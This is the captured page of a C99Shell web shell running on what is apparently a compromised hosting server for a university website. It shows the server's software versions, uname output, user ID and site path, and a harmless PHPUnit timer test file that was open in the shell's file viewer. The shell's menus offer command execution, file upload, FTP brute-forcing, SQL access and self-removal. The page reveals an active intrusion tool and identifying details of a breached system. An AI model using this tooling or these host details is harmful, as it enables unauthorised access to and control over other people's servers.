!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpunit/php-timer/tests/   drwxr-xr-x
Free 117.28 GB of 200.55 GB (58.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TimerTest.php (2.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * This file is part of the PHP_Timer package.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * Tests for PHP_Timer.
 *
 * @since      Class available since Release 1.0.0
 */
class PHP_TimerTest extends PHPUnit_Framework_TestCase
{
    
/**
     * @covers PHP_Timer::start
     * @covers PHP_Timer::stop
     */
    
public function testStartStop()
    {
        
$this->assertInternalType('float'PHP_Timer::stop());
    }

    
/**
     * @covers       PHP_Timer::secondsToTimeString
     * @dataProvider secondsProvider
     */
    
public function testSecondsToTimeString($string$seconds)
    {
        
$this->assertEquals(
            
$string,
            
PHP_Timer::secondsToTimeString($seconds)
        );
    }

    
/**
     * @covers PHP_Timer::timeSinceStartOfRequest
     */
    
public function testTimeSinceStartOfRequest()
    {
        
$this->assertStringMatchesFormat(
            
'%f %s',
            
PHP_Timer::timeSinceStartOfRequest()
        );
    }


    
/**
     * @covers PHP_Timer::resourceUsage
     */
    
public function testResourceUsage()
    {
        
$this->assertStringMatchesFormat(
            
'Time: %s, Memory: %fMB',
            
PHP_Timer::resourceUsage()
        );
    }

    public function 
secondsProvider()
    {
        return array(
          array(
'0 ms'0),
          array(
'1 ms'.001),
          array(
'10 ms'.01),
          array(
'100 ms'.1),
          array(
'999 ms'.999),
          array(
'1 second'.9999),
          array(
'1 second'1),
          array(
'2 seconds'2),
          array(
'59.9 seconds'59.9),
          array(
'59.99 seconds'59.99),
          array(
'59.99 seconds'59.999),
          array(
'1 minute'59.9999),
          array(
'59 seconds'59.001),
          array(
'59.01 seconds'59.01),
          array(
'1 minute'60),
          array(
'1.01 minutes'61),
          array(
'2 minutes'120),
          array(
'2.01 minutes'121),
          array(
'59.99 minutes'3599.9),
          array(
'59.99 minutes'3599.99),
          array(
'59.99 minutes'3599.999),
          array(
'1 hour'3599.9999),
          array(
'59.98 minutes'3599.001),
          array(
'59.98 minutes'3599.01),
          array(
'1 hour'3600),
          array(
'1 hour'3601),
          array(
'1 hour'3601.9),
          array(
'1 hour'3601.99),
          array(
'1 hour'3601.999),
          array(
'1 hour'3601.9999),
          array(
'1.01 hours'3659.9999),
          array(
'1.01 hours'3659.001),
          array(
'1.01 hours'3659.01),
          array(
'2 hours'7199.9999),
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0094 ]--